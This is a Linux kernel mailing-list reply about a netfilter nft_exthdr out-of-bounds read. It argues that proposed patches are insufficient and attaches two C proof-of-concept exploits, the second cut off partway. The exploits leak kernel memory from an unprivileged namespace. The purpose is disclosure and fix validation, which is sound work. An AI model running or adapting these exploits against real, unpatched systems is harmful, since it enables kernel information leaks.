🚀 go-pugleaf

RetroBBS NetNews Server

Inspired by RockSolid Light RIP Retro Guy

Article View: linux.kernel.netdev
Article #24036

Re: [PATCH nf] netfilter: nft_exthdr: pull the IPv6 header before ipv6_find_hdr()

#24036
From: Xiang Mei
Date: Sun, 29 Nov 2026 01:52
1434 lines
57827 bytes
On Thu, Nov 26, 2026 at 03:23:59AM +0100, Pablo Neira Ayuso wrote:
> On Wed, Nov 25, 2026 at 06:43:35PM -0700, Xiang Mei wrote:
> > On Wed, Nov 25, 2026 at 5:39 PM Pablo Neira Ayuso <pablo@netfilter.org> wrote:
> > >
> > > On Thu, Nov 26, 2026 at 01:29:55AM +0100, Pablo Neira Ayuso wrote:
> > > > On Wed, Nov 25, 2026 at 05:11:51PM -0700, Xiang Mei wrote:
> > > [...]
> > > > > Pull the header before the call, as act_ct, virtio_net_hdr_to_skb() and
> > > > > nft_set_pktinfo_ipv6_ingress() already do.
> > >
> > > I prefer this patch (see attachment).
> > >
> > > Please, don't take, I will submit it myself including your
> > > Reported-by: tag.
> > >
> > > Thanks.
> > 
> > Sorry, I replied only to Pablo earlier. A resend of my test:
> > 
> > Thanks for the patch. I have just tested it agaist the PoC (attached to
> > this mail) but it still leaks.
> > 
> > The 18-byte 802.1Q frame still makes ipv6_find_hdr() read past the
> > tail, same as the unpatched kernel. The pull in validate fails, we
> > fall back to nft_set_pktinfo_unspec(), and nft_do_chain_netdev() still
> > runs the chain, so exthdr gets called with only the skb->protocol
> > check.
> 
> I think nft_pktinfo provides enough information to skip this skbuff in
> nft_exthdr, there is pkt->ethertype which can be used for this
> purpose, which should be zero in this case.
> 
> diff --git a/net/netfilter/nft_exthdr.c b/net/netfilter/nft_exthdr.c
> index 861bab93f435..448b9ecde1f0 100644
> --- a/net/netfilter/nft_exthdr.c
> +++ b/net/netfilter/nft_exthdr.c
> @@ -52,7 +52,7 @@ static void nft_exthdr_ipv6_eval(const struct nft_expr *expr,
>         unsigned int offset = 0;
>         int err;
>  
> -       if (pkt->skb->protocol != htons(ETH_P_IPV6))
> +       if (pkt->ethertype != htons(ETH_P_IPV6))
>                 goto err;
>  
>         err = ipv6_find_hdr(pkt->skb, &offset, priv->type, NULL, NULL);
> @@ -146,7 +146,7 @@ static void nft_exthdr_ipv4_eval(const struct nft_expr *expr,
>         unsigned int offset;
>         int err;
>  
> -       if (skb->protocol != htons(ETH_P_IP))
> +       if (pkt->ethertype != htons(ETH_P_IP))
>                 goto err;
>  
>         err = ipv4_find_option(nft_net(pkt), skb, &offset, priv->type);

pkt->ethertype is not zero here, nft_set_pktinfo_unspec() sets it to
skb->protocol. I tested it and the PoC still leaks.

pkt->flags works:

        if (!(pkt->flags & NFT_PKTINFO_L4PROTO) ||
            pkt->ethertype != htons(ETH_P_IPV6))
                goto err;

But validate also needs to pull from the network header, not from
skb->data. On egress skb->data is the link layer header, so on an
ip6gre device (hard_header_len 44) pskb_may_pull(skb, 40) does nothing
and the header is still not linear. I wrote a second PoC for this.

With

        if (!pskb_network_may_pull(pkt->skb, nhoff + sizeof(*ip6h)))
                return -1;
        ip6h = (struct ipv6hdr *)(skb_network_header(pkt->skb) + nhoff);

(same for ipv4) plus the flags check, both PoCs are fixed here.
Both PoCs attached.

Thanks,
Xiang

---PoC1---
```c
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <grp.h>
#include <sys/prctl.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>

#define NFNL_SUBSYS_NFTABLES	10
#define NFNL_MSG_BATCH_BEGIN	16
#define NFNL_MSG_BATCH_END	17
#define NFT_MSG_NEWTABLE	0
#define NFT_MSG_NEWCHAIN	3
#define NFT_MSG_NEWRULE		6
#define NFT_MSG_GETRULE		7
#define NFTA_TABLE_NAME		1
#define NFTA_CHAIN_TABLE	1
#define NFTA_CHAIN_NAME		3
#define NFTA_CHAIN_HOOK		4
#define NFTA_CHAIN_TYPE		7
#define NFTA_HOOK_HOOKNUM	1
#define NFTA_HOOK_PRIORITY	2
#define NFTA_HOOK_DEV		3
#define NFTA_RULE_TABLE		1
#define NFTA_RULE_CHAIN		2
#define NFTA_RULE_EXPRESSIONS	4
#define NFTA_RULE_USERDATA	7
#define NFTA_LIST_ELEM		1
#define NFTA_EXPR_NAME		1
#define NFTA_EXPR_DATA		2
#define NFTA_EXTHDR_DREG	1
#define NFTA_EXTHDR_TYPE	2
#define NFTA_EXTHDR_OFFSET	3
#define NFTA_EXTHDR_LEN		4
#define NFTA_EXTHDR_FLAGS	5
#define NFT_EXTHDR_F_PRESENT	1
#define NFTA_CMP_SREG		1
#define NFTA_CMP_OP		2
#define NFTA_CMP_DATA		3
#define NFTA_DATA_VALUE		1
#define NFTA_COUNTER_PACKETS	2
#define NFPROTO_NETDEV		5
#define NFT_REG_1		1
#ifndef NETLINK_NETFILTER
#define NETLINK_NETFILTER	12
#endif

#define ROUNDS		64

struct nfgen { uint8_t family, version; uint16_t res_id; };

static int nl, pfd, ifi;
static uint32_t seq = 1;
static uint64_t cnt[256];

static void die(const char *m) { fprintf(stderr, "[-] %s: %s\n", m, strerror(errno)); exit(1); }

static char *put(char *p, int type, const void *d, int len)
{
	struct nlattr *a = (struct nlattr *)p;

	a->nla_type = type;
	a->nla_len = NLA_HDRLEN + len;
	memcpy(p + NLA_HDRLEN, d, len);
	memset(p + NLA_HDRLEN + len, 0, NLA_ALIGN(len) - len);
	return p + NLA_ALIGN(a->nla_len);
}
static char *put_str(char *p, int t, const char *s) { return put(p, t, s, strlen(s) + 1); }
static char *put_be32(char *p, int t, uint32_t v) { v = htonl(v); return put(p, t, &v, 4); }
static char *nest(char **p, int type)
{
	struct nlattr *a = (struct nlattr *)*p;

	a->nla_type = type | NLA_F_NESTED;
	*p += NLA_HDRLEN;
	return (char *)a;
}
static void nest_end(char *a, char *p) { ((struct nlattr *)a)->nla_len = p - a; }

/* ---------------------------------------------------------------- setup */

static void write_file(const char *path, const char *s)
{
	int fd = open(path, O_WRONLY);

	if (fd < 0 || write(fd, s, strlen(s)) < 0)
		die(path);
	close(fd);
}

static void enter_ns(void)
{
	char map[32];
	uid_t uid = getuid();
	gid_t gid = getgid();

	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
		die("unshare");
	write_file("/proc/self/setgroups", "deny");
	snprintf(map, sizeof(map), "0 %d 1", uid);
	write_file("/proc/self/uid_map", map);
	snprintf(map, sizeof(map), "0 %d 1", gid);
	write_file("/proc/self/gid_map", map);
}

static void rtnl_veth(void)
{
	char buf[512] = {}, *p, *li, *id, *peer;
	struct nlmsghdr *h = (struct nlmsghdr *)buf;
	int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

	h->nlmsg_type = RTM_NEWLINK;
	h->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL;
	p = (char *)NLMSG_DATA(h) + NLMSG_ALIGN(sizeof(struct ifinfomsg));
	p = put_str(p, IFLA_IFNAME, "vp0");
	li = nest(&p, IFLA_LINKINFO);
	p = put(p, IFLA_INFO_KIND, "veth", 4);
	id = nest(&p, IFLA_INFO_DATA);
	peer = nest(&p, 1 /* VETH_INFO_PEER */);
	p += sizeof(struct ifinfomsg);
	p = put_str(p, IFLA_IFNAME, "vp1");
	nest_end(peer, p);
	nest_end(id, p);
	nest_end(li, p);
	h->nlmsg_len = p - buf;
	if (fd < 0 || send(fd, buf, h->nlmsg_len, 0) < 0)
		die("RTM_NEWLINK");
	close(fd);
}

static void link_up(const char *name)
{
	struct ifreq ifr = {};
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		die("SIOCGIFFLAGS");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		die("SIOCSIFFLAGS");
	close(fd);
}

/* ------------------------------------------------------------- nftables */

static char *msg(char *cur, int type, int flags)
{
	struct nlmsghdr *h = (struct nlmsghdr *)cur;
	struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);

	memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
	h->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | type;
	h->nlmsg_flags = NLM_F_REQUEST | flags;
	h->nlmsg_seq = ++seq;
	g->family = NFPROTO_NETDEV;
	return cur + NLMSG_HDRLEN + sizeof(*g);
}
static char *msg_end(char *cur, char *p) { ((struct nlmsghdr *)cur)->nlmsg_len = p - cur; return p; }
static char *batch(char *cur, int type)
{
	struct nlmsghdr *h = (struct nlmsghdr *)cur;
	struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);

	memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
	h->nlmsg_type = type;
	h->nlmsg_flags = NLM_F_REQUEST;
	h->nlmsg_seq = ++seq;
	h->nlmsg_len = NLMSG_HDRLEN + sizeof(*g);
	g->res_id = htons(NFNL_SUBSYS_NFTABLES);
	return cur + h->nlmsg_len;
}

static void nft_commit(char *buf, char *end)
{
	char rb[8192];
	int n;

	if (send(nl, buf, end - buf, 0) < 0)
		die("nft send");
	while ((n = recv(nl, rb, sizeof(rb), MSG_DONTWAIT)) > 0) {
		struct nlmsghdr *r = (struct nlmsghdr *)rb;

		for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
			struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(r);

			if (r->nlmsg_type == NLMSG_ERROR && e->error) {
				errno = -e->error;
				die("nft batch");
			}
		}
	}
}

static char *rule(char *cur, int t)
{
	uint8_t ud = t, one = 1;
	char *p, *ex, *e, *d, *v;

	p = msg(cur, NFT_MSG_NEWRULE, NLM_F_CREATE | NLM_F_APPEND | NLM_F_ACK);
	p = put_str(p, NFTA_RULE_TABLE, "t");
	p = put_str(p, NFTA_RULE_CHAIN, "c");
	p = put(p, NFTA_RULE_USERDATA, &ud, 1);
	ex = nest(&p, NFTA_RULE_EXPRESSIONS);

	e = nest(&p, NFTA_LIST_ELEM);			/* exthdr ipv6 type t exists */
	p = put_str(p, NFTA_EXPR_NAME, "exthdr");
	d = nest(&p, NFTA_EXPR_DATA);
	p = put_be32(p, NFTA_EXTHDR_DREG, NFT_REG_1);
	p = put(p, NFTA_EXTHDR_TYPE, &ud, 1);
	p = put_be32(p, NFTA_EXTHDR_OFFSET, 0);
	p = put_be32(p, NFTA_EXTHDR_LEN, 1);
	p = put_be32(p, NFTA_EXTHDR_FLAGS, NFT_EXTHDR_F_PRESENT);
	nest_end(d, p);
	nest_end(e, p);

	e = nest(&p, NFTA_LIST_ELEM);			/* cmp reg1 == 1 */
	p = put_str(p, NFTA_EXPR_NAME, "cmp");
	d = nest(&p, NFTA_EXPR_DATA);
	p = put_be32(p, NFTA_CMP_SREG, NFT_REG_1);
	p = put_be32(p, NFTA_CMP_OP, 0 /* NFT_CMP_EQ */);
	v = nest(&p, NFTA_CMP_DATA);
	p = put(p, NFTA_DATA_VALUE, &one, 1);
	nest_end(v, p);
	nest_end(d, p);
	nest_end(e, p);

	e = nest(&p, NFTA_LIST_ELEM);			/* counter */
	p = put_str(p, NFTA_EXPR_NAME, "counter");
	nest_end(e, p);

	nest_end(ex, p);
	return msg_end(cur, p);
}

static void nft_setup(void)
{
	static char buf[65536];
	char *cur, *p, *hk;
	int t = 0, i;

	nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
	if (nl < 0)
		die("NETLINK_NETFILTER");

	cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
	p = msg(cur, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK);
	p = put_str(p, NFTA_TABLE_NAME, "t");
	cur = msg_end(cur, p);
	p = msg(cur, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK);
	p = put_str(p, NFTA_CHAIN_TABLE, "t");
	p = put_str(p, NFTA_CHAIN_NAME, "c");
	p = put_str(p, NFTA_CHAIN_TYPE, "filter");
	hk = nest(&p, NFTA_CHAIN_HOOK);
	p = put_be32(p, NFTA_HOOK_HOOKNUM, 0 /* NF_NETDEV_INGRESS */);
	p = put_be32(p, NFTA_HOOK_PRIORITY, 0);
	p = put_str(p, NFTA_HOOK_DEV, "vp1");
	nest_end(hk, p);
	cur = msg_end(cur, p);
	cur = batch(cur, NFNL_MSG_BATCH_END);
	nft_commit(buf, cur);

	while (t < 256) {
		cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
		for (i = 0; i < 32 && t < 256; i++)
			cur = rule(cur, t++);
		cur = batch(cur, NFNL_MSG_BATCH_END);
		nft_commit(buf, cur);
	}
}

/* nf_tables dumps nests without NLA_F_NESTED, so walk the levels by hand */
#define for_each_nla(x, a, len, rem)						\
	for (x = (struct nlattr *)(a), rem = (len);				\
	    rem >= NLA_HDRLEN && x->nla_len >= NLA_HDRLEN && x->nla_len <= rem; \
	    rem -= NLA_ALIGN(x->nla_len),					\
	    x = (struct nlattr *)((char *)x + NLA_ALIGN(x->nla_len)))
#define NLA_DATA(x)	((char *)(x) + NLA_HDRLEN)
#define NLA_LEN(x)	((x)->nla_len - NLA_HDRLEN)

/* rule -> userdata (T) and expressions/elem/data/COUNTER_PACKETS */
static void parse_rule(char *a, int len)
{
	struct nlattr *r, *el, *ex, *c;
	int r1, r2, r3, r4, t = -1;
	uint64_t pk = 0;

	for_each_nla(r, a, len, r1) {
		if (r->nla_type == NFTA_RULE_USERDATA)
			t = (uint8_t)NLA_DATA(r)[0];
		if (r->nla_type != NFTA_RULE_EXPRESSIONS)
			continue;
		for_each_nla(el, NLA_DATA(r), NLA_LEN(r), r2) {
			bool counter = false;

			for_each_nla(ex, NLA_DATA(el), NLA_LEN(el), r3) {
				if (ex->nla_type == NFTA_EXPR_NAME)
					counter = !strcmp(NLA_DATA(ex), "counter");
				else if (ex->nla_type == NFTA_EXPR_DATA && counter)
					for_each_nla(c, NLA_DATA(ex), NLA_LEN(ex), r4)
						if (c->nla_type == NFTA_COUNTER_PACKETS)
							pk = be64toh(*(uint64_t *)NLA_DATA(c));
			}
		}
	}
	if (t >= 0)
		cnt[t] = pk;
}

static void read_counters(void)
{
	static char rb[1 << 18];
	char buf[256], *p = msg(buf, NFT_MSG_GETRULE, NLM_F_DUMP);
	int n;

	p = put_str(p, NFTA_RULE_TABLE, "t");
	msg_end(buf, p);
	if (send(nl, buf, ((struct nlmsghdr *)buf)->nlmsg_len, 0) < 0)
		die("GETRULE");
	while ((n = recv(nl, rb, sizeof(rb), 0)) > 0) {
		struct nlmsghdr *r = (struct nlmsghdr *)rb;

		for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
			char *a = (char *)NLMSG_DATA(r) + sizeof(struct nfgen);

			if (r->nlmsg_type == NLMSG_DONE || r->nlmsg_type == NLMSG_ERROR)
				return;
			parse_rule(a, (char *)r + r->nlmsg_len - a);
		}
	}
}

/* --------------------------------------------------------------- probes */

static void tx(const unsigned char *f, int len, uint16_t proto)
{
	struct sockaddr_ll sll = {};

	sll.sll_family = AF_PACKET;
	sll.sll_ifindex = ifi;
	sll.sll_protocol = htons(proto);
	sll.sll_halen = ETH_ALEN;
	if (sendto(pfd, f, len, 0, (struct sockaddr *)&sll, sizeof(sll)) < 0)
		die("sendto");
}

int main(void)
{
	unsigned char probe[18] = {
		0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x02, 0x02, 0x02, 0x02, 0x02, 0x02,
		0x81, 0x00,		/* ETH_P_8021Q */
		0x00, 0x64,		/* vid 100 */
		0x86, 0xdd,		/* inner: ETH_P_IPV6, then nothing */
	};
	uint64_t before[256];
	cpu_set_t cs;
	int r, t, hit = 0;

	setvbuf(stdout, NULL, _IONBF, 0);
	CPU_ZERO(&cs);
	CPU_SET(0, &cs);
	sched_setaffinity(0, sizeof(cs), &cs);

	if (getuid() == 0) {			/* drop to an unprivileged user */
		setgroups(0, NULL);
		if (setresgid(1000, 1000, 1000) || setresuid(1000, 1000, 1000))
			die("drop privileges");
		prctl(PR_SET_DUMPABLE, 1);	/* lets us write our own uid_map */
	}
	printf("[*] uid=%d\n", getuid());
	enter_ns();
	/* keep IPv6 autoconf traffic off the veths */
	write_file("/proc/sys/net/ipv6/conf/all/disable_ipv6", "1");
	write_file("/proc/sys/net/ipv6/conf/default/disable_ipv6", "1");
	rtnl_veth();
	link_up("vp0");
	link_up("vp1");
	nft_setup();

	pfd = socket(AF_PACKET, SOCK_RAW, 0);
	ifi = if_nametoindex("vp0");
	if (pfd < 0 || !ifi)
		die("AF_PACKET");


	printf("[*] sending %d 18-byte 802.1Q probes with no IPv6 header\n", ROUNDS);
	read_counters();
	memcpy(before, cnt, sizeof(before));
	for (r = 0; r < ROUNDS; r++) {
		tx(probe, sizeof(probe), ETH_P_8021Q);
		usleep(20000);
	}
	read_counters();
	for (t = 0; t < 256; t++) {
		if (cnt[t] == before[t])
			continue;
		printf("    rule 0x%02x fired %llu/%d: kernel read byte 0x%02x past skb tail\n",
		      t, (unsigned long long)(cnt[t] - before[t]), ROUNDS, t);
		hit += cnt[t] - before[t];
	}
	printf("[%c] %d/%d probes leaked a byte from past the end of the packet\n",
	      hit ? '+' : '-', hit, ROUNDS);
	return !hit;
}
```

---PoC2---
```c
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <grp.h>
#include <sys/prctl.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h>

#define NFNL_SUBSYS_NFTABLES	10
#define NFNL_MSG_BATCH_BEGIN	16
#define NFNL_MSG_BATCH_END	17
#define NFT_MSG_NEWTABLE	0
#define NFT_MSG_NEWCHAIN	3
#define NFT_MSG_NEWRULE		6
#define NFT_MSG_GETRULE		7
#define NFTA_TABLE_NAME		1
#define NFTA_CHAIN_TABLE	1
#define NFTA_CHAIN_NAME		3
#define NFTA_CHAIN_HOOK		4
#define NFTA_CHAIN_TYPE		7
#define NFTA_HOOK_HOOKNUM	1
#define NFTA_HOOK_PRIORITY	2
#define NFTA_HOOK_DEV		3
#define NFTA_RULE_TABLE		1
#define NFTA_RULE_CHAIN		2
#define NFTA_RULE_EXPRESSIONS	4
#define NFTA_RULE_USERDATA	7
#define NFTA_LIST_ELEM		1
#define NFTA_EXPR_NAME		1
#define NFTA_EXPR_DATA		2
#define NFTA_EXTHDR_DREG	1
#define NFTA_EXTHDR_TYPE	2
#define NFTA_EXTHDR_OFFSET	3
#define NFTA_EXTHDR_LEN		4
#define NFTA_EXTHDR_FLAGS	5
#define NFT_EXTHDR_F_PRESENT	1
#define NFTA_CMP_SREG		1
#define NFTA_CMP_OP		2
#define NFTA_CMP_DATA		3
#define NFTA_DATA_VALUE		1
#define NFTA_COUNTER_PACKETS	2
#define NFPROTO_NETDEV		5
#define NFT_REG_1		1
#ifndef NETLINK_NETFILTER
#define NETLINK_NETFILTER	12
#endif

#define ROUNDS		64

struct nfgen { uint8_t family, version; uint16_t res_id; };

static int nl, pfd, ifi;
static uint32_t seq = 1;
static uint64_t cnt[256];

static void die(const char *m) { fprintf(stderr, "[-] %s: %s\n", m, strerror(errno)); exit(1); }

static char *put(char *p, int type, const void *d, int len)
{
	struct nlattr *a = (struct nlattr *)p;

	a->nla_type = type;
	a->nla_len = NLA_HDRLEN + len;
	memcpy(p + NLA_HDRLEN, d, len);
	memset(p + NLA_HDRLEN + len, 0, NLA_ALIGN(len) - len);
	return p + NLA_ALIGN(a->nla_len);
}
static char *put_str(char *p, int t, const char *s) { return put(p, t, s, strlen(s) + 1); }
static char *put_be32(char *p, int t, uint32_t v) { v = htonl(v); return put(p, t, &v, 4); }
static char *nest(char **p, int type)
{
	struct nlattr *a = (struct nlattr *)*p;

	a->nla_type = type | NLA_F_NESTED;
	*p += NLA_HDRLEN;
	return (char *)a;
}
static void nest_end(char *a, char *p) { ((struct nlattr *)a)->nla_len = p - a; }

/* ---------------------------------------------------------------- setup */

static void write_file(const char *path, const char *s)
{
	int fd = open(path, O_WRONLY);

	if (fd < 0 || write(fd, s, strlen(s)) < 0)
		die(path);
	close(fd);
}

static void enter_ns(void)
{
	char map[32];
	uid_t uid = getuid();
	gid_t gid = getgid();

	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
		die("unshare");
	write_file("/proc/self/setgroups", "deny");
	snprintf(map, sizeof(map), "0 %d 1", uid);
	write_file("/proc/self/uid_map", map);
	snprintf(map, sizeof(map), "0 %d 1", gid);
	write_file("/proc/self/gid_map", map);
}

#define IFLA_GRE_LOCAL_		6
#define HHLEN			44	/* ip6gre hard_header_len: ipv6hdr + gre */
#define WARMUP			200000	/* KASAN quarantine delays reuse of */
#define PER_ROUND		3000	/* freed heads, so flood plants   */

static void rtnl_ip6gre(void)
{
	char buf[512] = {}, rb[1024], *p, *li, *id;
	struct nlmsghdr *h = (struct nlmsghdr *)buf;
	unsigned char laddr[16] = { 0x20, 0x01, 0x0d, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1 };
	uint32_t mtu = 9000;
	int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE), n;

	h->nlmsg_type = RTM_NEWLINK;
	h->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
	p = (char *)NLMSG_DATA(h) + NLMSG_ALIGN(sizeof(struct ifinfomsg));
	p = put_str(p, IFLA_IFNAME, "g6");
	p = put(p, IFLA_MTU, &mtu, 4);
	li = nest(&p, IFLA_LINKINFO);
	p = put(p, IFLA_INFO_KIND, "ip6gre", 6);
	id = nest(&p, IFLA_INFO_DATA);
	p = put(p, IFLA_GRE_LOCAL_, laddr, 16);	/* remote stays :: */
	nest_end(id, p);
	nest_end(li, p);
	h->nlmsg_len = p - buf;
	if (fd < 0 || send(fd, buf, h->nlmsg_len, 0) < 0)
		die("RTM_NEWLINK");
	n = recv(fd, rb, sizeof(rb), 0);
	if (n > 0 && ((struct nlmsghdr *)rb)->nlmsg_type == NLMSG_ERROR &&
	   ((struct nlmsgerr *)NLMSG_DATA((struct nlmsghdr *)rb))->error) {
		errno = -((struct nlmsgerr *)NLMSG_DATA((struct nlmsghdr *)rb))->error;
		die("create ip6gre");
	}
	close(fd);
}

static void link_up(const char *name)
{
	struct ifreq ifr = {};
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	strncpy(ifr.ifr_name, name, IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		die("SIOCGIFFLAGS");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		die("SIOCSIFFLAGS");
	close(fd);
}

/* ------------------------------------------------------------- nftables */

static char *msg(char *cur, int type, int flags)
{
	struct nlmsghdr *h = (struct nlmsghdr *)cur;
	struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);

	memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
	h->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | type;
	h->nlmsg_flags = NLM_F_REQUEST | flags;
	h->nlmsg_seq = ++seq;
	g->family = NFPROTO_NETDEV;
	return cur + NLMSG_HDRLEN + sizeof(*g);
}
static char *msg_end(char *cur, char *p) { ((struct nlmsghdr *)cur)->nlmsg_len = p - cur; return p; }
static char *batch(char *cur, int type)
{
	struct nlmsghdr *h = (struct nlmsghdr *)cur;
	struct nfgen *g = (struct nfgen *)NLMSG_DATA(h);

	memset(h, 0, NLMSG_HDRLEN + sizeof(*g));
	h->nlmsg_type = type;
	h->nlmsg_flags = NLM_F_REQUEST;
	h->nlmsg_seq = ++seq;
	h->nlmsg_len = NLMSG_HDRLEN + sizeof(*g);
	g->res_id = htons(NFNL_SUBSYS_NFTABLES);
	return cur + h->nlmsg_len;
}

static void nft_commit(char *buf, char *end)
{
	char rb[8192];
	int n;

	if (send(nl, buf, end - buf, 0) < 0)
		die("nft send");
	while ((n = recv(nl, rb, sizeof(rb), MSG_DONTWAIT)) > 0) {
		struct nlmsghdr *r = (struct nlmsghdr *)rb;

		for (; NLMSG_OK(r, n); r = NLMSG_NEXT(r, n)) {
			struct nlmsgerr *e = (struct nlmsgerr *)NLMSG_DATA(r);

			if (r->nlmsg_type == NLMSG_ERROR && e->error) {
				errno = -e->error;
				die("nft batch");
			}
		}
	}
}

static char *rule(char *cur, int t)
{
	uint8_t ud = t, one = 1;
	char *p, *ex, *e, *d, *v;

	p = msg(cur, NFT_MSG_NEWRULE, NLM_F_CREATE | NLM_F_APPEND | NLM_F_ACK);
	p = put_str(p, NFTA_RULE_TABLE, "t");
	p = put_str(p, NFTA_RULE_CHAIN, "c");
	p = put(p, NFTA_RULE_USERDATA, &ud, 1);
	ex = nest(&p, NFTA_RULE_EXPRESSIONS);

	e = nest(&p, NFTA_LIST_ELEM);			/* exthdr ipv6 type t exists */
	p = put_str(p, NFTA_EXPR_NAME, "exthdr");
	d = nest(&p, NFTA_EXPR_DATA);
	p = put_be32(p, NFTA_EXTHDR_DREG, NFT_REG_1);
	p = put(p, NFTA_EXTHDR_TYPE, &ud, 1);
	p = put_be32(p, NFTA_EXTHDR_OFFSET, 0);
	p = put_be32(p, NFTA_EXTHDR_LEN, 1);
	p = put_be32(p, NFTA_EXTHDR_FLAGS, NFT_EXTHDR_F_PRESENT);
	nest_end(d, p);
	nest_end(e, p);

	e = nest(&p, NFTA_LIST_ELEM);			/* cmp reg1 == 1 */
	p = put_str(p, NFTA_EXPR_NAME, "cmp");
	d = nest(&p, NFTA_EXPR_DATA);
	p = put_be32(p, NFTA_CMP_SREG, NFT_REG_1);
	p = put_be32(p, NFTA_CMP_OP, 0 /* NFT_CMP_EQ */);
	v = nest(&p, NFTA_CMP_DATA);
	p = put(p, NFTA_DATA_VALUE, &one, 1);
	nest_end(v, p);
	nest_end(d, p);
	nest_end(e, p);

	e = nest(&p, NFTA_LIST_ELEM);			/* counter */
	p = put_str(p, NFTA_EXPR_NAME, "counter");
	nest_end(e, p);

	nest_end(ex, p);
	return msg_end(cur, p);
}

static void nft_setup(void)
{
	static char buf[65536];
	char *cur, *p, *hk;
	int t = 0, i;

	nl = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER);
	if (nl < 0)
		die("NETLINK_NETFILTER");

	cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
	p = msg(cur, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK);
	p = put_str(p, NFTA_TABLE_NAME, "t");
	cur = msg_end(cur, p);
	p = msg(cur, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK);
	p = put_str(p, NFTA_CHAIN_TABLE, "t");
	p = put_str(p, NFTA_CHAIN_NAME, "c");
	p = put_str(p, NFTA_CHAIN_TYPE, "filter");
	p = put_be32(p, 5 /* NFTA_CHAIN_POLICY */, 0 /* NF_DROP: free in the hook, never xmit */);
	hk = nest(&p, NFTA_CHAIN_HOOK);
	p = put_be32(p, NFTA_HOOK_HOOKNUM, 1 /* NF_NETDEV_EGRESS */);
	p = put_be32(p, NFTA_HOOK_PRIORITY, 0);
	p = put_str(p, NFTA_HOOK_DEV, "g6");
	nest_end(hk, p);
	cur = msg_end(cur, p);
	cur = batch(cur, NFNL_MSG_BATCH_END);
	nft_commit(buf, cur);

	while (t < 256) {
		cur = batch(buf, NFNL_MSG_BATCH_BEGIN);
		for (i = 0; i < 32 && t < 256; i++)
			cur = rule(cur, t++);
		cur = batch(cur, NFNL_MSG_BATCH_END);
		nft_commit(buf, cur);
	}
}

/* nf_tables dumps nests without NLA_F_NESTED, so walk the levels by hand */
#define for_each_nla(x, a, len, rem)						\
	for (x = (struct nlattr *)(a), rem = (len);				\
	    rem >= NLA_HDRLEN && x->nla_len >= NLA_HDRLEN && x->nla_len <= rem; \
	    rem -= NLA_ALIGN(x->nla_len),					\
	    x = (struct nlattr *)((char *)x + NLA_ALIGN(x->nla_len)))
#define NLA_DATA(x)	((char *)(x) + NLA_HDRLEN)
#define NLA_LEN(x)	((x)->nla_len - NLA_HDRLEN)

/* rule -> userdata (T) and expressions/elem/data/COUNTER_PACKETS */
static void parse_rule(char *a, int len)
{
	struct nlattr *r, *el, *ex, *c;
	int r1, r2, r3, r4, t = -1;
	uint64_t pk = 0;

	for_each_nla(r, a, len, r1) {
		if (r->nla_type == NFTA_RULE_USERDATA)
			t = (uint8_t)NLA_DATA(r)[0];
		if (r->nla_type != NFTA_RULE_EXPRESSIONS)
			continue;
		for_each_nla(el, NLA_DATA(r), NLA_LEN(r), r2) {
			bool counter = false;

			for_each_nla(ex, NLA_DATA(el), NLA_LEN(el), r3) {
				if (ex->nla_type == NFTA_EXPR_NAME)
					counter = !strcmp(NLA_DATA(ex), "counter");
				else if (ex->nla_type == NFTA_EXPR_DATA && counter)
					for_each_nla(c, NLA_DATA(ex), NLA_LEN(ex), r4)
						if (c->nla_type == NFTA_COUNTER_PACKETS)
							pk = be64toh(*(uint64_t *)NLA_DATA(c));
			}
		}
	}
	if (t >= 0)
		cnt[t] = pk;
}

static void read_counters(void)
{
	static char rb[1 << 18];
